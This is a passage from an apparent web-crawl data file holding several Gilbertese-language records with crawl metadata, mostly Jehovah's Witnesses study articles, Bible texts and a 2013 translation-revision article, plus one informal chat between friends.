mwaane ae Peter i nanon 74 tabun te ririki, ao 35 te ririki man aei n te aobiti n tararua i Eurobe. E beku bwa te mataniwi i nanon te tai ae maan n te Aobiti Ibukin te Mwakuri. Ao ngkai, Paul ae te rorobuaka n ataei are e mwakuri ma Peter i nanon tabeua te ririki, e a onea mwina n te mwioko anne. Ngke e titirakinaki Peter bwa tera ana namakin ibukini bitakini mwiokoana, e kaeka ni kangai: \"I rangi ni kukurei bwa iai taari mwaane ake a a tia n reireinaki ni kataneiaaki bwa a na butimwaei mwioko aika bati riki ao a nakoraoi aia mwakuri.\"\nA KAKAWAKI AIKA IKAWAI RIKI I BUAKORA\n12. Tera reireiara n rongorongon Reoboam n te Baibara?\n12 Imwini maten Toromon, e a riki bwa te uea natina are Reoboam. Ibukina bwa e kainnanoa te taeka n reirei Reoboam ni kaineti ma karaoani mwiokoana, e titirakinia moa unimwaane. Imwina, e a manga ribaa aia taeka n reirei! Ma e ira nanon aia taeka n reirei rorobuaka n ataei ake e ikawairake ma ngaiia ao a a riki ngkai bwa taani buokia. A riki kangaanga aika kakaiaki man aei. (2Rong. 10:6-11, 19) Tera reireiara iai? Ti wanawana ngkana ti ukera ao n iaiangoa raoi aia taeka n reirei naake a ikawai bwa a mwaatai riki. A aki riai n iangoia naake a ataei riki bwa a karawawataaki ni karaoani bwaai n aroni karaoaia rimoa, ma a riai ni karinei aia iango naake a ikawai riki ao n aki waekoa ni bitii.\n13. Tera aroia ae riai naake a ataei riki ngkana a mwakuri ma aika ikawai?\n13 Iai ni boong aikai taari mwaane aika ataei riki ake a mataniwi i aoni mwakuri aika karaoi taari mwaane aika ikawai. E ngae ngke e a tia ni bitaki mwiokoaia naake a ataei riki, ma imwaini karaoan aia motinnano a kakabwaiaaki mani wanawanaia ao rabakauia naake a ikawai. E oneaki mwin Peter irouni Paul are e taekinaki mai moa, ao e a riki bwa te mataniwi n te tabo ni mwakuri teuana n te Betaera. E taku: \"I kabatiaa au tai n ukera ana taeka n reirei Peter ao I kaungaia tabemwaang n te tabo ni mwakuri aei bwa a na karaoa naba anne.\"\n14. Tera reireiara man aroia ni kaai ni mwakuri Timoteo ma Bauro?\n14 E mwakuri te rorobuaka n ataei ae Timoteo, i rarikin te abotoro Bauro i nanon ririki aika bati. (Wareka I-Biribi 2:20-22.) E a tia Bauro ni korea aei nakoia kaaini Korinto: \"I kanakoa . . . Timoteo nakoimi, ibukina bwa bon natiu ae tangiraki irou ae kakaonimaki n ana mwakuri te Uea. E na kauringingkami au anga nako n reitaki ma Kristo Iesu, n arou n angareirei n taabo nako n ekaretia ni kabane.\" (1Kor. 4:17) E oti man taeka aikai bwa a kaai ni mwakuri n te aro ae kaan Bauro ma Timoteo. E karekea ana tai Bauro n reireina Timoteo ana \"anga nako n reitaki ma Kristo.\" E reireinaki raoi Timoteo ao e tatangiria Bauro, ao e kakoauaa Bauro bwa e kona Timoteo n tararuai baika a kainnanoi ibukin aia onimaki naake i Korinto. Ai raoiroira te katoto aei ibukia unimwaane ae a na kakairi iai ngkai, ngkana a kataneiaia mwaane tabeman ibukin te kairiri n te ekaretia!\nIAI TABERA NI KABANE\n15. Ti na kangaa ni buokaki n ana reirei ni kairiri Bauro nakoia Kristian ake i Rom ngkana ti rotaki n taiani bitaki n ana botaki te Atua?\n15 Ti a maeka n taai aika okoro. E a rikirake ana botaki Iehova i aon te aba n aanga aika bati ao e kainnanoaki iai te bitaki. Ngkana ti rotaki ni bitaki aikai, ti bia nanorinano ao n teimatoa n iaiangoi baika raraoi n te mwakuri ibukin te Tautaeka n Uea ao tiaki baika ti tangiri. E karikirakea te katiteuanaaki karaoan anne. E korea aei Bauro nakoia Kristian ake i Rom: \"I tuangia aomata n tatabemania nako akana i buakomi, bwa e na aki iango temanna ni kamoamoaa i bon irouna n ae riaon ae riai, ma e na iango n te aro ae e kaotia bwa e bwaina te iangoraoi, ni kaineti ma tibwangana n te onimaki are e anganna te Atua. Bwa n aron ae a bati bwain nako te rabwata i nanon te rabwata ae tii teuana, ma a kakaokoro nako aia mwakuri, ao ai arora naba bwa e ngae ngke ti bati, ma bon te rabwata ae tii teuana ngaira i nanoni Kristo.\"\n16. Tera ae a kona ni karaoia ikawai ao aika ataei riki, n ikotaki naba ma buuaine, ibukini kateimatoaan te rau ao te katiteuanaaki n ana botaki Iehova?\n16 Ti bia mwakuri korakora ni karababaanako Ana Tautaeka n Uea Iehova ae moan te tamaroa, n aki ongei baika riki nakoira. Ngkami aika kam a ikawai, kataubobongaia aika ataei riki bwa a na karaoi baika kam karaoi. Ngkami taari mwaane aika kam ataei riki, butimwaea te mwioko, bwaina te nimamannei, ao kateimatoa karineaia aika ikawai. Ao ngkami buuaine, kakairi irouni buun Akura ae Beritikira, are e ira Akura ao ni kakaonimaki ni boutokaia ngke a riki bitaki nakoia.\n17. Tera are e onimakinia iai taan rimwina Iesu, ao e kataneiaia ibukin tera?\n17 Akea te bwai ae raoiroi riki nakon ana katoto Iesu ni kaineti ma te reirei ni kataneiai nakoia tabemwaang ibukini mwioko aika bati. E ataia bwa e na roko n tokina ana mwakuri ni minita i aon te aba ao a kona ni waakinna tabemwaang. E ngae ngke a aki kororaoi taan rimwina, ma e onimakinia ao e tuangia bwa ane a na karaoi mwakuri aika kakannato riki nakon ake e karaoi. (Ioa. 14:12) E reireinia ni kataneiaia raoi, ao a kabutanakoa te rongorongo ae raoiroi n aaba ake a ataaki n taai akekei.\n18. Baikara kantaninga aika mena imwaira, ao tera ae ti kona ni karaoia ngkai?\n18 Imwini maten Iesu are e riki iai bwa te karea, e a kautaki nako karawa ike e a anganaki iai mwakuri aika bati riki ake e na karaoi ma mwaakana \"i aoia tautaeka ni kabane ma taiani mwaaka ma mwioko ao ueea.\" (IEbe. 1:19-21) Ngkana ti mate i nanon ara tai ni kakaonimaki imwain Aremaketon, ti na boni kautaki nakon te aonnaba ae boou ae e mena iai te raoiroi, ike a na bati iai mwakuri aika kakukurei ibukira. Ma ngkai, iai te mwakuri ae rangi ni kakawaki ae ti kona ni bane n uataboia, ae tataekinan te rongorongo ae raoiroi ao karekeaia taan rimwini Kristo. Ti bia bane ngaira kaara ke ataei n teimatoa ni \"[kakorakoraira] n ana mwakuri te Uea ni kamwaiti.\"","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/reirei-n-te-taua-n-tantani-tianuare-2017\/ko-na-mwiokoiia-mwaane-aika-kakaonimaki-ni-baikai\/","date":"2018-01-21T04:31:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084890187.52\/warc\/CC-MAIN-20180121040927-20180121060927-00591.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":2489,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.42,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"KO WINGARE ni kaungaa te tia kabwarabwara are tei mai moa. Bon te rorobuaka n ataei n am ekaretia, ao e a anga ana moani kabwarabwara n tain te runga n aono. Ngke ko tabe n ongora ana kabwarabwara, ao ko rangi ni mimi naba n aroni kataneiaakia ana aomata te Atua. Ko uringa ana moani kakorakora te rorobuaka anne, ao ko a nora aron rikirakena! E kataneiaaki n te Kuura ni Kataneiai Ibukia Taan Uarongorongo ao n te Kuura Ibukin te Mwakuri ni Bwaiania. Ao e a bon tibwa oki naba ma buuna ni kaea te Kuura Ibukia Taan Uarongorongoa te Tautaeka n Uea. Ngke e a uboaki ni kaitauaki te tari aei n ana kabwarabwara ae moan te tamaroa, ao ko a taratara nako ma n iaiangoa te kaetieti are a kakarekei ana aomata nako te Atua.\nE a kaman taekinaki n te Baibara taekan te tai ae a na \"reireinaki iroun Iehova\" ana aomata. (Ita. 54:13) Ti a maeka ngkai n te tai anne. Ti reireinaki tiaki tii rinanon ara boki ma rinanon naba ara bobotaki, taian runga n aono, bwabwaro, ao ai reirei aika kakaokoro ake a katauraoaki ibukini kataubobongaara nakoni mwioko aika okoro n ana botaki Iehova. N te mwakoro aei ao ti na noria bwa a kangaa reirei aikai ni bane n riki bwa te bwai ni kakoaua ae aki kona ni kakeweaki, ae e a kairiri ngkai ana Tautaeka n Uea te Atua.\nN TE MWAKORO AEI\nMWAKORO 16\nTi na kangaa ni karekea kakabwaiaara ae rangi ni bati man taiani botaki ibukin taromaurian Iehova?\nMWAKOROR 17\nA kangaa taiani kuura ni kataneiai ibukin te uarongorongo ni katauraoiia taan tataekina te Tautaeka n Uea, bwa a na kakororaoi mwiokoaia?","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/uea-te-atua\/reirei\/","date":"2018-01-22T20:56:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084891539.71\/warc\/CC-MAIN-20180122193259-20180122213259-00175.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":283,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.211,"stopwords_ratio":0.424,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"A kakaraoa ae buakaka angiia aomata ake n ana bong Noa. Karikani Bwaai 6:5\nA karikiia natiia Atam ma Ewa ao a a rikirake mwaitiia aomata i aon te aba. Ni waakinakon te tai ao iai anera tabeman ake a raona Tatan ni karitei.\nA ruo nako aon te aba ao a bitii rabwataia n riki bwa aomata, ao a iein ma ainen aon te aba. A a karikiia natiia mwaane ake a korakora riki nakoia aomata ao a tiritiri.\nE a onrake te aonnaba irouia aomata ake a kakaraoi mwakuri aika buakaka. E taekinaki ae kangai n te Baibara: 'E a korakora buakakaia aomata n te aonnaba, ao aia iango tii te kani kakaraoa ae buakaka n taai nako.'\nE ongeaba Noa iroun te Atua ao e a kabaa te aake. Karikani Bwaai 6:13, 14, 18, 19, 22\nBon te mwaane ae raoiroi Noa. E tuangaki iroun Iehova bwa a nang kamaunaaki aomata aika buakaka n te ieka ae korakora.\nE tuangaki naba Noa iroun te Atua bwa e na kabaa te kaibuke ae totoa ae te aake, ao e na karinia iai ana utu ma maan n aekaia nako.\nE kauringia aomata Noa taekan te Ieka ae nangi roko, ma a bon aki kan ongo. A ngareakinna tabeman ao iai naba ake a ribaia.\nNgke e a tia te aake ao Noa e a karinia maan i nanona.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/ongeaba-ao-maiu\/te-ieka-ae-korakora\/","date":"2018-01-17T01:38:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886792.7\/warc\/CC-MAIN-20180117003801-20180117023801-00201.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":224,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.438,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ana kaeka te Baibara\nE kariaia te buuraure te Baibara. Ma e kaota Iesu te bwai ae e na tii kariaiakaki iai te buuraure ni kangai: \"\nBwa teuare buuraure ma buuna ao e a manga mare ma temanna, e wene ni kimoa. Ma e kona ni buuraure teuanne ngkana e a tia ni wene ni bure neienne.\"—Mataio 19:9.\nE ribaa te buuraure te Atua ae karaoaki n te aro ae iowawa ao ae boto i aon te kewe. E na motiki taekaia te Atua akana kitania buuia n te aro ae aki riai, ai moarara riki ngkana a karaoia ibukini karekeani buuia riki temanna.—Maraki 2:13-16; Mareko 10:9.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/baibara-reirei\/titiraki\/buuraure-baibara-iango\/","date":"2018-01-24T10:52:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084893629.85\/warc\/CC-MAIN-20180124090112-20180124110112-00436.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":104,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.251,"stopwords_ratio":0.462,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E berita Iehova bwa e na kaokaki te taromauri ae koaua n te tembora i Ierutarem. Ma a bati taiani kakaaitara imwin okia taenikai mai Baburon, n ikotaki naba ma ana tua te uea bwa e na katokaki te kateitei. A bati aika a raraoma bwa e na bon aki tia te mwakuri.\nt. 537 B.C.E.\nE tua manga katean te tembora Tairati\nKaitiua n namwakaina\nE kateaki te baonikarea; a kareanaki karea\n536 B.C.E.\nE kaweneaki aan te kateitei\n522 B.C.E.\nE katoka te kateitei te Uea ae Atatokititi\n520 B.C.E.\nA kaungaia aomata Tekaria ao Akai bwa a na manga waakina te kateitei\n515 B.C.E.\nE a tia te tembora","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/tianuare-2016-mwb\/kaetieti-ibukin-te-botaki-tian18-24\/atua-berita-ierutarem-tembora\/","date":"2018-01-17T22:42:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886979.9\/warc\/CC-MAIN-20180117212700-20180117232700-00626.warc.gz","language":"gil","language_score":1.0000075102,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000075101852417}","num_words":107,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.254,"stopwords_ratio":0.458,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n34 Aio te taeka ae roko iroun Ieremia mairoun Iehova, ngke a buakana Ierutarem ma kaawan nako neiei Nebukaneta* are Ueani Baburon ma ana taanga ni buaka ni kabane, ao tautaeka n uea ni kabane n te aonnaba ake e tautaekan, ao botannaomata nako:+ 2 \"E kangai ana taeka Iehova ae Atuan Iteraera, 'Naako ao taetae nakon Tetekia+ are Uean Iuta ao tuangnga ni kangai: \"E kangai ana taeka Iehova, 'Noria ae I a anga te kaawa aei nako nanoni bain ueani Baburon ao e na kabuekia n te ai.+ 3 Ao e na aki reke birinakom mai nanoni baina, bwa ko na boni mwane ao e na anga te aba ngkoe nakoina.+ Ao ko na nora ueani Baburon n itaramata ma ngaia, ao ko na taetae ma ngaia, ao ko na nako Baburon.'+ 4 Ma ongora n ana taeka Iehova, ngkoe ae Tetekia ae Uean Iuta, 'E kangai ana taeka Iehova ni kaineti ma ngkoe: \"Ko na aki mate n te kabaang. 5 Ko na mate ma te rau,+ ao a na kauraa te ai ibukim n aron are a karaoia ibukia am bakatibu, ake ueea ngkoa imwaim ao a na tanginiweneiko ni kangai, 'Akea ngaira ngkoe ae ara toka!' bwa 'I a tia n taekina te taeka,' bon ana taeka Iehova.\"'\"'\" 6 Ao e taekin taeka aikai ni kabane Ieremia are te burabeti nakon Tetekia are Uean Iuta, i Ierutarem, 7 ngke a buakana Ierutarem ana taanga ni buaka ueani Baburon, ao kaawa ni kabane ake i Iuta ake a tiku,+ ake Rakiti+ ao Ateka,+ bwa bon tii ngaiia kaawa aika nonoaki aika tiku mai buakoni kaawa ake i Iuta. 8 Aio te taeka are roko iroun Ieremia mairoun Iehova, ngke e tia te Uea are Tetekia ni karaoa te berita ma kaain Ierutarem ni kabane ni katanoataa te inaomata nakoia,+ 9 bwa a riai aomata nako ni kainaomataia aia toro aika taian Ebera aika mwaane ma aine, bwa e aonga n akea ae e na taua raona n I-Iutaia bwa ana toro. 10 Mangaia are a bane n ongeaba tooka ao aomata. A rin n te berita are a riai aomata nako ni kainaomataia aia toro aika mwaane ma aine, ao a na aki teimatoa n tauia bwa aia toro. A ongeaba ao a kanakoia. 11 Ma imwina riki ao a a manga kairiia ni kaokiia aia toro mwaane ma aine ake a a tia ngkoa ni kainaomataia, ao a a manga kaokiia ma te matoa nakon te tautoronaki. 12 Mangaia are e roko ana taeka Iehova iroun Ieremia mairoun Iehova, ae kangai: 13 \"E kangai ana taeka Iehova ae Atuan Iteraera, 'I karaoa te berita ma ami bakatibu+ n te bong are I kairiia iai ni kaotinakoia man te aba are Aikubita, man te auti n toronaki,+ ae kangai: 14 \"N tokin ririki aika itiua ao e riai temanna ma temanna iroumi ni kainaomataa tarina ae te Ebera are e kaboonakoaki nakoina, ao e a tia n toro irouna i nanon onoua te ririki, e riai ni kainaomataa.\"+ Ma a aki ongo ami bakatibu ke ni katanimai taningaia nakoiu. 15 Ao ngkami kam rairaki n taai aika tibwa nako,* ao kam karaoa te bwai ae eti i matau n aromi ni katanoataa te inaomata nakoia raomi, ao kam karaoa te berita i matau n te auti ae kaotaki iai arau. 16 Ma kam a manga tannako ao kam kamatauningaa arau+ n aromi ni kairiia ni kaokiia ami toro aika mwaane ma aine, ake kam kainaomataia ngkoa n aron are a tangiria, ao kam kaokiia ma te matoa nakon te tautoronaki.' 17 \"Mangaia ae e kangai ana taeka Iehova: 'Kam aki ongeaba irou ni katanoataan te inaomata, temanna ma temanna nakon tarina ao nakon raona n aomata.+ Mangaia ae aio te inaomata ae N na katanoataa nakoimi,' bon ana taeka Iehova, 'kam na mate n te kabaang, n te aoraki ae kamamate, ao n te rongo,+ ao N na karaoingkami bwa te bwai ni kakamaaku nakoia tautaeka n uea ni kabane n te aonnaba.+ 18 Ao aio te bwai ae e na riki nakoia aomata aika urua au berita, n aroia n aki kakororaoi taeka ake n te berita ake a karaoia i matau, ngke a korouaa te kao te teei nakon uamwakoro ao a rimarenani mwakorona ake kaka te iterana,+ 19 ae taekaia tokan Iuta, tokan Ierutarem, mataniwi, ibonga,* ao kaain te aba ni kabane, ake a rimarenani mwakoron te kao te teei ake kaka te iterana: 20 N na anga naakai nako nanoni baia aiaia ao nakoia te koraki ake a ukoukora anaakini maiuia,* ao e na riki rabwataia ngkai a a mate bwa kanaia mannikiba ake i annang ao manin te aonnaba.+ 21 Ao N na anga Tetekia ae Uean Iuta ma ana aomata aika tooka, nako nanoni baia aiaia ao nako nanoni baia te koraki ake a ukoukora anaakini maiuia* ao nako nanoni baia kaain ana taanga ni buaka ueani Baburon,+ ake a mumun rikaaki mairoumi.'+ 22 \"'Noria ae N na tua,' bon ana taeka Iehova, 'ao N na kaokiia nakon te kaawa aei, ao a na buakanna ma n taua ao ni kabuekia n te ai,+ ao N na karaoi kaawa ake i Iuta bwa a na aki kona ni maekanaki, ao a na akea kaaia.'\"+","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/ieremia\/34\/","date":"2018-01-16T09:39:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886397.2\/warc\/CC-MAIN-20180116090056-20180116110056-00650.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":886,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.239,"stopwords_ratio":0.439,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"eang ker ai kanokawakira naba shsh e urua ana first luck ker ok ma ngkana e reke am tai n write 2 her ao koaganna nba au regard ker ok tiabo moa ao koa maga reitia mai ikanne ker takecare and have anice day sis\neang ker ao antai buun nei tekasi shshshs\nao ko raraba naba ma gaia koa aganna naba au kamauri ma kain aia auti ker ok tao koa maga bon reitia mai ikanne ker tiamaga bobo moa takecare sis ma e tekeraoi naba te reirei ngkoe\nmoce\nhey sis ko raraba naba n am reply by the way ao gai iragini marurung raoi naba mai ikai ao ngkai gai ia maga reirei riki ia maga form 7 ngkai n te reirei ni katorika are te sacred heart hey ao ngkoe ?koa makuri ker ao auara am sisiters aikanne nei tekasi ma tarina akekei shshs koa agania naba au kamauri ker ao nei manikakarita ma kain aia auti au kamauri naba ker kouringa ngkana e reke am tai ker ok tao koa maga reitia mai ikanne ker ma tao nang toki moa ikai ao tiabo takecare and miss u too sis\nGOD bless also","id":"","dump":"CC-MAIN-2018-05","url":"http:\/\/banabanvoice.ning.com\/profile\/MargaretTimirau","date":"2018-01-22T02:27:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084890947.53\/warc\/CC-MAIN-20180122014544-20180122034544-00454.warc.gz","language":"gil","language_score":0.9949856997,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"gil_Latn_score\": 0.9949856996536255}","num_words":195,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.209,"stopwords_ratio":0.154,"flagged_words_ratio":0.0,"lang_id_score":0.995,"perplexity_score":500.0,"cluster_detection":1} +{"text":"I NANON ririki aika bati ao a mwaiti taai ake e a manga rinanoaki iai Te Baibara ae Tabu—Te Rairai ae te Aonnaba ae Boou ma e rangi ni bati riki bitaki aika karaoaki ni bwain 2013. N te katoto, tao iai ngkai 10 te katebubua te kee n taeka n Ingiriti ake a kabonganaaki n te rairai aei. Iai taeka tabeua aika kakawaki n te Baibara ake a a manga rinanoaki. A bitaki mwakoro tabeua ni karaoaki bwa tein te kario, ao a karinaki kabwarabwara mai nano aika a na kamataatai riki rongorongo tabeua. E aki kona te kaongora aei ni maroroakini bitaki ni kabane, ma ti na rinanoi ngkai bitaki tabeua aika kakawaki.\nTaeka raa aika kakawaki n te Baibara aika bitaki? N aron ae taekinaki n te kaongora are mai mwaina, e a manga rinanoaki te rairai ibukin \"Tiore,\" \"Eriti,\" ao \"te taamnei.\" Ma iai riki taeka aika bati aika bitaki.\nN te katoto, te bwai ae karaoaki rimoa ibukini kamatean te tia kamwarua, boni karinan te boua ae kakang tabona rinanon rabwatana n te aro are e a bae ma te boua iai. Kioina ngkai e aki riki aei nakon Iesu, e kabonganai taeka te rairai aei aika \"kamateaki i aon te kai,\" \"tauraki,\" ao \"bobitiaki i aon te kai\" ni kaineti ma aron taurakina. (Mat. 20:19; 27:31) E a oneaki mwini \"bukamaru n akea te taubaang\" ni \"botaki aika akea te taubaang iai,\" ae kai ota riki ni boong aikai. (IKar. 5:19-22) N oneani mwin \"te akoi ae boto i aon te tangira\" e a kaetaki riki nanona n rairaki bwa \"te tangira ae koaua.\" E oti raoi iai nanon te taeka n te Baibara aei ae okioki ni kakabonganaaki ibukini kaotan naba te \"kakaonimaki.\"\nTaeka tabeua ake tii teuana aron rairakia n taai nako a a rairaki ngkai ni kaineti ma tein te rongorongo. N te katoto, te taeka n Ebera ae ʽoh·lamʹ, ae rarairaki mai mwaina bwa \"te tai ae maan ae aki ataaki tokina,\" e kona naba n nanona \"n aki toki.\" Noria bwa tera aron rotakin te rairai iai ni kiibu n aron Taian Areru 90:2 ao Mika 5:2.\nE okioki n te Koroboki ae Tabu te taeka n Ebera ao ni Kuriiti ae rarairaki bwa \"kariki.\" Te taeka n Ebera ao ni Kuriiti aei e kona n irekereke ma te ununiki ao iai nanona naba teuana ae \"te kanoa.\" Rairai mai mwaina n Te Baibara ae Tabu—Te Rairai ae te Aonnaba ae Boou a raraira te taeka aei n taai nako bwa \"kariki\" n aroni Karikani Bwaai 3:15. Ma e a aki manga kabonganaaki n te taetae n Ingiriti te \"kariki\" bwa e na nanona \"te kanoa,\" ngaia are n te rairai ae boou aei e a kabonganaaki 'kanoa' ni Karikani Bwaai 3:15 ao ni kiibu aika ai aron anne. (KBwaai 22:17, 18; TeKao. 12:17) Ni kiibu ake tabeua, e a rairaki iai ni kaineti ma tein te rongorongo.\nE aera ngkai a bitaki rairai aika bati ake tii rairan te taeka nakon te taeka n te taetae teuana? E taekinaki n Appendix A1 n te rairai are bwain 2013 bwa te rairai n te Baibara ae raoiroi e na \"kaota raoi nanon te koroboki nikawai ngkana e na kamaabubua ke ni kabwaoua nanon te kibu, te rairai ae tii rairan te taeka n aki ongea ae nanonaki raoi iai.\" Ngkana iai nanon taeka ni karariki ake man te moani koroboki n taetae tabeua, a a rairaki naba n teia anne man te taeka nakon te taeka. Ni kaineti ma aei, te taeka ae \"tutuoi naano\" n Te Kaotioti 2:23 e bon reke nanona n taetae aika bati. Ma n te kibu naba anne, ao te taeka ae \"tutuoa te kirine\" e na bae n aki kai ota te aba iai, ngaia are e a kanakoraoaki rairan \"te kirine\" bwa \"iango aika raba,\" ae kaota raoi nanon are n te moani koroboki. N aron naba anne, n Te Tua-Kaua 32:14, te taetae ni karariki ae \"neneani kirinen uita\" e a rairaki n te aro ae mataata riki bwa \"uita aika taiani kabanea n raoiroi.\" N aron anne, e aki rangi ni mataata n angiin taetae \"a aki korotobibiaki riau\" ni kabotauaki ma \"e kangaanga irou te taetaenikawai.\"\nE aera bwa a a rairaki ngkai taeka aika \"natin Iteraera aika mwaane\" ao \"ataei aika mwaane aika akea tamaia\" bwa \"tibun Iteraera\" ao \"ataei aika akea tamaia\"? N te taetae n Ebera, ao iai te taeka ae kabonganaaki ni kaotaki iai te mwaane ke te aine ae taekinaki. Ma taeka tabeua aika kaota te mwaane, a kona n nanonia mwaane ma aine. N te katoto, n tein rongorongo tabeua are a oti iai \"natin Iteraera aika mwaane\" a kona ni kaineti nakoia mwaane ma aine, ngaia are n angiin te tai e a rairaki ngkai te taeka aei bwa \"tibun Iteraera.\"\nN aron naba anne, te taeka n Ebera ae kaota te mwaane ae nanonia \"naati mwaane\" ni Karikani Bwaai 3:16 e rairaki bwa 'naati' n rairai ake mai mwaina n Te Baibara ae Tabu—Te Rairai ae te Aonnaba ae Boou. Ma n Te Otinako 22:24, te taeka naba anne e a rairaki ngkai bwa: \"A na riki natimi [Taetae n Ebera, \"natimi mwaane\"] bwa ataei aika akea tamaia.\" Ni kamanenaan te boto n reirei aei n taabo riki tabeua, e a bitaki ngkai \"te teei ae te mwaane ae akea tamana\" nakon \"te teei ae akea tamana\" ke \"te teei ae a a tia ni mate ana karo.\" (TuaKau. 10:18; Iobi 6:27) Titeboo anne ma te rairai n te Greek Septuagint. Ibukin anne, e a kabonganaaki naba te taeka ae \"am bongi n roro n rikirake\" n oneani mwin \"am bongi n ataeinimwaane\" n Te Minita 12:1.\nE aera ngkai a a kabebeteaki riki rairakini weabe aika bati n te Taetae n Ebera? Iai uoua aekakin te weabe n te Taetae n Ebera aika kaotaki, bwa teuana ae tuai n tabwanin, ae kaota te mwakuri ae reitinako, ao teuana ae e tabwanin, ae kaotia bwa e a tia te mwakuri. Rairai mai mwaina n Te Baibara ae Tabu—Te Rairai ae te Aonnaba ae Boou a rarairi weabe n te Taetae n Ebera ake a tuai n tabwanin, n taiani weabe ao taeka n aroni \"moana\" ke \"reitia,\" bwa e aonga n oti ae te mwakuri ae reitinako ke ae okioki. * A a kabonganaaki ngkai taeka n aroni \"bon,\" \"riai,\" ao \"raoi,\" ni kaotaki iai bwa e a tia mwakurian te weabe are tabwanin.\nN te rairai are bwain 2013, a aikoa kabonganaaki taeka akanne, ma tii ngkana a na kaota riki ae nanonaki iai. N te katoto, e aki kainnanoaki kaotan ae e okioki n taekina \"E na riki te oota\" te Atua, ngaia are n te rairai ae boou, e a aki rairaki \"taku\" ae te weabe ae tuai n tabwanin, ni kaotaki bwa e reitinako. (KBwaai 1:3) N taraana ao Iehova e okioki ni wetea Atam, ngaia are e kaotaki aei n te rairai ni Karikani Bwaai 3:9 ae 'okioki ni wetea.' Are nanona bwa a a rairaki taiani weabe n te aro ae bebete riki, bwa e a aki kaatuuaki taekan te mwakuri bwa e a tia ke e reitinako karaoana n aron ae e oti n te Taetae n Ebera, ma e a kaatuuaki riki taekan te baere karaoaki. Karaoan aei e kaota raoi tein te taetae n Ebera bwa te taetae ae kabonganai taeka aika tii tabeua ibukini kabwarabwaraani bwaai.\nE aera ngkai a a bati riki mwakoro aika koreaki n tein te kario? A bati mwakoron te Baibara aika moani koreaki bwa taiani kario. N taetae n taai aikai, ao e ataaki te kario man atongan taekana aika kuri n titeboo, ma ae moan te kakawaki n te kario n te taetae n Ebera boni kabonganaan taeka aika titeboo nanoia ke aika a kaaitara nanoia. A boto kario n te taetae n Ebera i aoni bairean raoi iango aika kaotaki i nanon te kario, ao tiaki i aon taeka aika kuri n titeboo atongan taekaia.\nN rairai mai mwaina n Te Baibara ae Tabu—Te Rairai ae te Aonnaba ae Boou ao a koreaki Iobi ao Taian Areru ni kibunaki, ni kaotaki iai bwa a boni moani koreaki bwa a na aneneaki ke ni kamatenikunaaki. Aekan teina aei e kaotii kanoan te kario ake a katuruturuaki riki taekaia, ao e ibuobuoki bwa e na ururingaki riki. N te rairai are bwain 2013, ao Taeka N Rabakau, Ana Anene Toromon ao mwakoro aika bati n taiani boki ni burabeti, a a koreaki naba ngkai ni kibunaki ni kaotia bwa taiani kario, ao ni kaotii naba taeka aika titeboo nanoia ao taeka aika kaaitara nanoia. Te katoto n 